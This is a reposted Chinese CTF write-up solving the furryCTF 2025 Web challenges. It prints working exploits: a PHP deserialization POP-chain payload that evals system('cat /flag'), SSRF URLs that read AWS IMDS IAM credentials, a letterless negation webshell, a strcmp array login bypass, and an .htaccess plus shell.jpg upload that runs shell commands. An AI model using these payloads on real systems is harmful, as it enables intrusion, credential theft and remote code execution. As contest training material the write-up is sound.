文章总结: 本文记录furryCTF2025Web赛题解题过程,涵盖六道题目:PyEditor利用sys.modules绕过限制,ezmd5数组绕过PHP弱类型,babypop反序列化字符逃逸,CCPreview的SSRF利用AWS元数据,猫猫最后的复仇通过breakpoint沙箱逃逸,命令终端取反构造无字母WebShell,展示了多种Web安全技术的实战应用。 综合评分: 88 文章分类: CTF,WEB安全,代码审计,实战经验
【比赛篇】furryCTF%202025%20高校联合新神赛(Web)
原创
小叶Sec 小叶Sec
小叶Sec
2026年2月5日%2016:35 广东
Web篇
PyEditor
打开发现是这样的
我们首先尝试输出hello%20world
没有问题,我们看看能不能导入模块
这里我们使用requests试试
进程启动了,但是报错了,说明可能os什么的被过滤了,但是我们根据题目意思,似乎有一段没有被正确删除的代码,我们需要回顾一下Python的模块导入机制:
在%20Python%20中,解释器启动或者运行某些初始化脚本时,往往需要用到 os 或 sys 模块。%20当一个模块被导入过一次后,Python%20会把它缓存在一个全局字典里:**sys.modules**。
搜索也可得知,sys.modules是模块缓存字典,我们首先确认一下sys能不能使用,使用以下代码
print(sys)
没有报错,可以使用
这里我们打印出所有已加载模块的名称列表
这里我们发现有os模块,尝试打印环境变量,输入以下代码
print(sys.modules['os'].environ)
这里发现GZCTF_FLAG这个可疑变量,我们尝试构造payload读取该变量的值
print(sys.modules['os'].environ.get('GZCTF_FLAG'))
成功获得flag
furryCTF{dO_No7_1ORgET_to_r3m0Ve_de8u9_WHEN_a2889c194f74_R3L34Se}
ezmd5
考察的是 PHP%20弱类型比较 或 MD5%20碰撞 的绕过技巧。
核心逻辑分析
代码要求满足以下两个条件才能给出%20flag:
$user%20!==%20$pass:user 和 pass 的值或类型不能完全相等。
md5($user)%20===%20md5($pass):两者的 MD5%20哈希值必须完全相等。
利用数组绕过
这是最简单且最通用的方法。在%20PHP%20中,md5() 函数预期接收的参数是一个字符串。如果你传入一个数组,md5() 会返回 NULL 并触发一个警告(由于代码开头有 error_reporting(0),警告会被隐藏)。
md5(array())->NULLmd5(array())->NULL
由于 NULL%20===%20NULL 成立,而两个不同的数组(或不同的键值对)本身不相等,条件就能被完美绕过。
POST%20方法发送以下数据就行
user[]=1&pass[]=2
POFP{d19fb8b0-3263-4976-b082-1e36b00e0068}
babypop
<?php
error_reporting(0);
highlight_file(__FILE__);
class%20SecurityProvider%20{
%20 %20private $token;
%20 %20public function__construct()%20{
%20 %20 %20 $this->token%20=%20md5(uniqid());
%20 %20}
%20 %20public function verify($data)%20{
%20 %20 %20 if (strpos($data, '..')%20!== false)%20{
%20 %20 %20 %20 %20 %20die("Attack%20Detected");
%20 %20 %20 %20}
%20 %20 %20 return$data;
%20 %20}
}
class%20LogService%20{
%20 %20protected $handler;
%20 %20protected $formatter;
%20 %20public function __construct($handler =%20null)%20{
%20 %20 %20 $this->handler%20= $handler;
%20 %20 %20 $this->formatter%20=%20new%20DateFormatter();
%20 %20}
%20 %20public function__destruct()%20{
%20 %20 %20 if ($this->handler%20&&%20method_exists($this->handler, 'close'))%20{
%20 %20 %20 %20 %20 $this->handler->close();
%20 %20 %20 %20}
%20 %20}
}
class%20FileStream%20{
%20 %20private $path;
%20 %20private $mode;
%20 %20public $content;
%20 %20public function __construct($path, $mode)%20{
%20 %20 %20 $this->path%20= $path;
%20 %20 %20 $this->mode%20= $mode;
%20 %20}
%20 %20public functionclose()%20{
%20 %20 %20 if ($this->mode%20=== 'debug' &&%20!empty($this->content))%20{
%20 %20 %20 %20 %20 $cmd = $this->content;
%20 %20 %20 %20 %20 if (strlen($cmd)%20<%202) return;
%20 %20 %20 %20 %20 %20@eval($cmd);
%20 %20 %20 %20} else {
%20 %20 %20 %20 %20 returntrue;
%20 %20 %20 %20}
%20 %20}
}
class%20DateFormatter%20{
%20 %20public function format($timestamp)%20{
%20 %20 %20 return date('Y-m-d%20H:i:s', $timestamp);
%20 %20}
}
class%20UserProfile%20{
%20 %20public $username;
%20 %20public $bio;
%20 %20public $preference;
%20 %20public function __construct($u, $b)%20{
%20 %20 %20 $this->username%20= $u;
%20 %20 %20 $this->bio%20= $b;
%20 %20 %20 $this->preference%20=%20new%20DateFormatter();
%20 %20}
}
class%20DataSanitizer%20{
%20 %20public%20static function clean($input)%20{
%20 %20 %20 return str_replace("hacker", "", $input);
%20 %20}
}
$raw_user = $_POST['user']%20??%20null;
$raw_bio = $_POST['bio']%20??%20null;
if ($raw_user && $raw_bio)%20{
%20 $sec =%20new%20SecurityProvider();
%20 $sec->verify($raw_user);
%20 $sec->verify($raw_bio);
%20 $profile =%20new%20UserProfile($raw_user, $raw_bio);
%20 $data =%20serialize($profile);
%20 if (strlen($data)%20>%204096)%20{
%20 %20 %20 %20die("Data%20too%20long");
%20 %20}
%20 $safe_data =%20DataSanitizer::clean($data);
%20 $unserialized =%20unserialize($safe_data);
%20 if ($unserialized instanceof%20UserProfile)%20{
%20 %20 %20 echo"Profile%20loaded%20for%20" .%20htmlspecialchars($unserialized->username);
%20 %20}
}
?>
漏洞原理
字符逃逸:DataSanitizer::clean%20函数将%20hacker(6字节)替换为空(0字节)。利用这个特性,通过在%20user%20字段输入大量%20hacker,导致
序列化字符串长度描述与实际长度不符,从而“吃掉”原本的结构字符,使%20bio%20中的恶意%20Payload%20被解析为%20UserProfile%20的%20preference%20属
性。
POP%20链构造:
入口:%20LogService::__destruct()%20->%20调用%20$this->handler->close()%20。
利用:将%20handler%20指向%20FileStream%20对象。
RCE:%20FileStream::close()%20中,当%20mode%20为%20debug%20时执行%20eval($content)%20,从而执行系统命令。
exp:
<?php
class%20LogService%20{
%20 %20protected $handler;
%20 %20protected $formatter;
%20 %20public function __construct($handler)%20{
%20 %20 %20 $this->handler%20= $handler;
%20 %20 %20 $this->formatter%20=%20new%20DateFormatter();
%20 %20}
}
class%20FileStream%20{
%20 %20private $path = '/tmp/pwn';
%20 %20private $mode = 'debug';
%20 %20public $content = 'system("cat%20/flag");';
}
class%20DateFormatter%20{
}
$fileStream =%20new%20FileStream();
$logService =%20new%20LogService($fileStream);
$evil_serialized =%20serialize($logService);
$found = false;
for ($i =%200; $i <%20100; $i++)%20{
%20 $padding =%20str_repeat("0", $i);
%20 $bio_payload = $padding . '";s:10:"preference";' . $evil_serialized . '}';
%20 $structure_prefix = '";s:3:"bio";s:' .%20strlen($bio_payload)%20. ':"';
%20 $total_eat_length =%20strlen($structure_prefix)%20+%20strlen($padding);
%20 if ($total_eat_length %%206%20===%200)%20{
%20 %20 %20 $hacker_count = $total_eat_length /%206;
%20 %20 %20 $user_payload =%20str_repeat("hacker", $hacker_count);
%20 %20 %20 echo"user=" . $user_payload . "&bio=" .%20urlencode($bio_payload)%20. "\n";
%20 %20 %20 $found = true;
%20 %20 %20 break;
%20 %20}
}
?>
运行得到payload:
user=hackerhackerhackerhacker&bio=00000%22%3Bs%3A10%3A%22preference%22%3BO%3A10%3A%22LogService%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A10%3A%22FileStream%22%3A3%3A%7Bs%3A16%3A%22%00FileStream%00path%22%3Bs%3A8%3A%22%2Ftmp%2Fpwn%22%3Bs%3A16%3A%22%00FileStream%00mode%22%3Bs%3A5%3A%22debug%22%3Bs%3A7%3A%22content%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7Ds%3A12%3A%22%00%2A%00formatter%22%3BO%3A13%3A%22DateFormatter%22%3A0%3A%7B%7D%7D%7D
POFP{3f957a5d-6db0-4cf0-9bed-3ef234645a93}
CCPreview
考点:SSRF、AWS%20EC2%20Metadata%20Service%20(IMDS)%20利用
解题思路
题目提供了一个用于测试内网连通性的 curl 代理服务,且明确提示部署在%20AWS%20EC2%20上。利用%20SSRF%20漏洞访问%20AWS%20实例元数据服务(IMDS)地址 169.254.169.254,获取%20IAM%20Role%20的凭证信息。
题目代码没有对用户输入的%20URL%20进行严格过滤,直接使用 curl 在服务器端发起了请求。这意味着你不仅可以访问外网(比如百度),还可以访问服务器所在的内网。
在本题环境中,flag%20并没有存储在%20S3%20Bucket%20中,而是直接作为 SecretAccessKey 藏在了模拟的凭证返回信息里。
探测%20IAM%20Role%20名称
在输入框中填入以下%20Payload:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
获取%20Role%20凭证信息构造%20Payload%20读取该角色的详细凭证:
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
POFP{98d0028b-b524-497d-a86c-3aa53df8eda7}
猫猫最后的复仇
考点:沙箱逃逸、breakpoint()、PDB调试器利用
核心原理
黑名单遗漏:附件源码后端%20app.py%20虽然过滤了%20os、exec、import%20等大量危险关键词,但遗漏了%20Python%203.7+%20的内置函数%20breakpoint()。
交互式执行:breakpoint()%20会启动%20PDB%20调试器,该调试器允许用户通过标准输入(stdin)执行任意%20Python%20代码。
输入未过滤:后端仅对提交的“源代码”进行了严格过滤,但对运行期间通过%20/api/send_input%20接口传入的“标准输入”没有任何检测。
攻击链:提交 breakpoint() 绕过静态检查%20->%20进入%20PDB%20调试模式%20->%20通过%20API%20发送恶意%20Payload%20->%20PDB%20执行%20Payload%20读取%20Flag。
breakpoint()
按 F12 打开浏览器控制台,执行以下%20JavaScript%20代码(替换 pid):
var%20pid%20= "3222ac34a35b8186";
fetch('/api/send_input',%20{
%20 %20method: 'POST',
%20 %20headers:%20{'Content-Type': 'application/json'},
%20 %20body:%20JSON.stringify({
%20 %20 %20 %20pid:%20pid,
%20 %20 %20 %20input: "print(open('/flag.txt').read())"
%20 %20})
});
furryCTF{You_Win_f0905aa0d-abf6-4a67-b617-74cb81167a520_qwq}
命令终端
使用admin和qwe@123登录
可以发现是命令执行,查看源代码
dirsearch目录扫描
下载发现源代码index.php
<?php
session_start();
if (empty($_SESSION['user_id'])%20||%20!is_int($_SESSION['user_id']))%20{
%20 %20header('Location:%20../index.php', true,%20302);
%20 exit;
}
$output = "";
if (isset($_POST['cmd']))%20{
%20 $code = $_POST['cmd'];
%20 if(strlen($code)%20>%20200)%20{
%20 %20 %20 $output = "略略略,这么长还想执行命令?";
%20 %20}
%20 elseif(preg_match('/[a-z0-9$_\."`\s]/i', $code))%20{
%20 %20 %20 $output = "啊哦,你的命令被防火墙吃了\n           来自waf的消息:杂鱼黑客,就这样还想执行命令?";
%20 %20}
%20 else {
%20 %20 %20 %20ob_start();
%20 %20 %20 %20try%20{
%20 %20 %20 %20 %20 eval($code);
%20 %20 %20 %20}%20catch%20(Throwable $t)%20{
%20 %20 %20 %20 %20 echo"Execution%20Error.";
%20 %20 %20 %20}
%20 %20 %20 $output =%20ob_get_clean();
%20 %20}
}
?>
<!DOCTYPE%20html>
<html>
<head>
%20 %20<title>命令执行</title>
%20 %20<style>
%20 %20 %20 %20body%20{%20background: #000;%20color: #0f0;%20font-family:%20monospace;%20padding:%2050px;%20}
%20 %20 %20 %20.console%20{%20border:%201px%20solid #333;%20padding:%2020px;%20max-width:%20800px;%20margin:%200%20auto;%20}
%20 %20 %20 %20textarea%20{%20width:%20100%;%20height:%20100px;%20background: #111;%20border:%201px%20solid #444;%20color: #0f0;%20}
%20 %20 %20 %20input[type="submit"]%20{%20margin-top:%2010px;%20background: #222;%20color: #fff;%20border:%201px%20solid #fff;%20padding:%205px%2020px;%20cursor:%20pointer;%20}
%20 %20 %20 %20.output%20{%20margin-top:%2020px;%20border-top:%201px%20dashed #444;%20padding-top:%2010px;%20color: #ccc;%20white-space:%20pre-wrap;}
%20 %20 %20 %20.hint%20{%20font-size:%200.8em;%20color: #444;%20margin-top:%2050px;%20text-align:%20center;%20}
%20 %20 %20 %20a%20{%20color: #222;%20text-decoration:%20none;%20}
%20 %20 %20 %20a:hover%20{%20color: #444;%20}
%20 %20</style>
</head>
<body>
%20 %20<div%20class="console">
%20 %20 %20 %20<h1>命令执行工具</h1>
%20 %20 %20 %20<p>欢迎您,%20<?php echo htmlspecialchars($_SESSION['user']);%20?>.%20命令执行系统准备完毕.</p>
%20 %20 %20 %20<form%20method="POST">
%20 %20 %20 %20 %20 %20<p>>%20请输入您的命令:</p>
%20 %20 %20 %20 %20 %20<textarea%20name="cmd" placeholder="输入你的命令"></textarea>
%20 %20 %20 %20 %20 %20<br>
%20 %20 %20 %20 %20 %20<input type="submit" value="执行">
%20 %20 %20 %20</form>
%20 %20 %20 %20<div%20class="output">
%20 %20 %20 %20 %20 %20<strong>命令输出:</strong><br>
%20 %20 %20 %20 %20 %20<?php echo$output;%20?>
%20 %20 %20 %20</div>
%20 %20 %20 %20<!--当你迷茫的时候可以想想backup-->
%20 %20</div>
</body>
</html>
漏洞点: %20无字母数字%20WebShell%20(RCE)
关键源码:
else if(preg_match('/[a-z0-9$_\."`\s]/i', $code))%20{
%20 %20//%20拦截报错
} else {
%20 eval($code);
}
分析:
题目允许执行%20eval(),但设置了极严格的正则%20WAF。%20WAF%20过滤了:%20所有字母%20a-z、数字%200-9、变量符号%20$、下划线%20_、双引号%20“、反引号%20`%20和空白字符%20\s。%20WAF%20未过滤:%20单引号%20‘、圆括号%20()、分号%20;%20以及位运算符(如取反%20~)。
解法:%20利用%20PHP%207+%20的动态函数执行特性%20(func)(arg),配合%20取反运算符%20(~)%20构造%20Payload。%20将命令字符串(如%20system)转换为不可见的非字母数字字节(例如%20s%20的%20ASCII%20码取反是%200x8C)。%20~0x8C%20在%20PHP%20中执行时会被还原为字符%20s。%20WAF%20只能检测%20URL%20解码后的字符,0x8C%20既不是字母也不是数字,完美绕过。
目标%20Payload:%20system(‘cat%20/flag’)%20构造逻辑:%20(‘取反后的SYSTEM’)(‘取反后的CAT%20/FLAG’);
我们需要构造 system 和 cat%20/flag 的取反%20URL%20编码。
system%20->%20%8C%86%8C%8B%9A%92
cat%20/flag%20->%20%9C%9E%8B%DF%D0%99%93%9E%98%20(其中空格变成了%20%DF,绕过%20\s%20检查)
Payload:
(~'%8C%86%8C%8B%9A%92')(~'%9C%9E%8B%DF%D0%99%93%9E%98');
输入数据:cmd=(~%27%8C%86%8C%8B%9A%92%27)(~%27%9C%9E%8B%DF%D0%99%93%9E%98%27);
burp构造请求就行
POST%20/main/index.php%20HTTP/1.1
Host:%20ctf.furryctf.com:37391
Content-Length:%208
Cache-Control:%20max-age=0
Accept-Language:%20zh-CN,zh;q=0.9
Origin:%20http://ctf.furryctf.com:37391
Content-Type:%20application/x-www-form-urlencoded
Upgrade-Insecure-Requests:%201
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/143.0.0.0%20Safari/537.36
Accept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer:%20http://ctf.furryctf.com:37391/main/index.php
Accept-Encoding:%20gzip,%20deflate,%20br
Cookie:%20PHPSESSID=781bad690c2774335ef9c5edf1607c0c
Connection:%20keep-alive
cmd=(~%27%8C%86%8C%8B%9A%92%27)(~%27%9C%9E%8B%DF%D0%99%93%9E%98%27);
POPF{6db21235-ee09-4401-8086-00402b831d53}
SSO%20Drive
看题目描述直接扫描
泄露源码
db.sql
CREATE%20TABLE%20users%20(
%20 %20id%20INT%20AUTO_INCREMENT%20PRIMARY%20KEY,
%20 %20username%20VARCHAR(50)%20NOT%20NULL,
%20 %20password%20VARCHAR(255)%20NOT%20NULL
);
INSERT%20INTO%20users%20(username,%20password)%20VALUES%20('admin', 'placeholder');
index.php.bak
<?php
//%20Backup%202026-01-20%20by%20Dev%20Team
//%20TODO:%20Fix%20the%20comparison%20logic%20later?
session_start();
$REAL_PASSWORD = 'THIS_IS_A_VERY_LONG_RANDOM_PASSWORD_THAT_CANNOT_BE_BRUTEFORCED_882193712';
if ($_SERVER['REQUEST_METHOD']%20=== 'POST')%20{
%20 $u = $_POST['username'];
%20 $p = $_POST['password'];
%20 if ($u === 'admin')%20{
%20 %20 %20 %20//%20Dev%20Note:%20using%20strcmp for binary%20safe%20comparison
%20 %20 %20 if (strcmp($p, $REAL_PASSWORD)%20==%200)%20{
%20 %20 %20 %20 %20 $_SESSION['is_admin']%20= true;
%20 %20 %20 %20 %20 %20header("Location:%20dashboard.php");
%20 %20 %20 %20 %20 exit;
%20 %20 %20 %20} else {
%20 %20 %20 %20 %20 $error = "Password%20Wrong";
%20 %20 %20 %20}
%20 %20}
}
?>
index.php.bak 源码中,我们可以看到核心的密码验证逻辑:
if ($u === 'admin')%20{
%20 %20//%20Dev%20Note:%20using%20strcmp for binary%20safe%20comparison
%20 if (strcmp($p, $REAL_PASSWORD)%20==%200)%20{
%20 %20 %20 $_SESSION['is_admin']%20= true;
%20 %20 %20 %20//%20...
%20 %20}
}
漏洞点:%20使用了%20strcmp(REAL_PASSWORD)%20==%200%20进行比较。%20在%20PHP(尤其是%205.x%20和%207.x%20版本)中,strcmp()%20函数有一个著名的缺陷:如果比较的参数中一个是字符串,另一个是数组(Array),它会报错(Warning)并返回%20NULL(在%20PHP%208.0+%20之前)。
在%20PHP%20的弱类型比较(==)中,NULL%20==%200%20是成立的(True)。
利用方法: 我们要欺骗服务器,让它认为我们输入了正确的密码。只需要将 password 参数改为数组形式发送即可。
Payload%20(Burp%20Suite%20或%20Hackbar):
Method:%20POST
URL:%20http://ctf.furryctf.com:35702/index.php
Body:%20username=admin&password[]=1
发送后,strcmp(Array,%20String)%20返回%20NULL,NULL%20==%200%20为真,成功绕过登录,重定向到%20dashboard.php
登录成功
题目描述为了兼容旧系统…运行了一个陈旧服务” :这通常暗示服务器是%20Apache,且开启了对 .htaccess 的支持(AllowOverride%20All),或者支持一些古老的解析方式。
.htaccess创建写内容
AddType%20application/x-httpd-php%20.jpg
这行配置告诉 Apache 服务器,把所有后缀为 .jpg 的文件都当作 PHP 脚本来解析和执行。
define width 1337 #define height 1337
上传图片不让拍拦截修改 然后发现上传木马不成功 所有
硬编码先看文件名,再读文件内容。
列目录 (ls)
请求包
POST /upload.php HTTP/1.1
Host: ctf.furryctf.com:37395
Content-Length: 245
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://ctf.furryctf.com:37395
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4fr3DygEsBJfgkmA
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.furryctf.com:37395/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=781bad690c2774335ef9c5edf1607c0c
Connection: keep-alive
------WebKitFormBoundary4fr3DygEsBJfgkmA
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg
#define width 1337
#define height 1337
<pre>
<?= `ls -F /`; ?>
</pre>
------WebKitFormBoundary4fr3DygEsBJfgkmA--
POFP{3fa22fca-c74d-4040-9b73-62939283acea}
靶场推荐
好靶场
学安全,别只看书上手练,就来好靶场。
🔗入口:http://www.loveli.com.cn/
有宝子就问了,主播主播,这么好的靶场怎么用:首先关注好靶场 然后发送bug,可以点击链接直接登录
福利1
找到个人中心,邀请码输入3e5adb8a55db48b8,白嫖14天高级会员。
福利2
关注好靶场bilibili。拿着关注截图找到客服,领取5积分或者7天高级会员。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小叶Sec 小叶Sec 小叶Sec《【比赛篇】furryCTF 2025 高校联合新神赛(Web)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论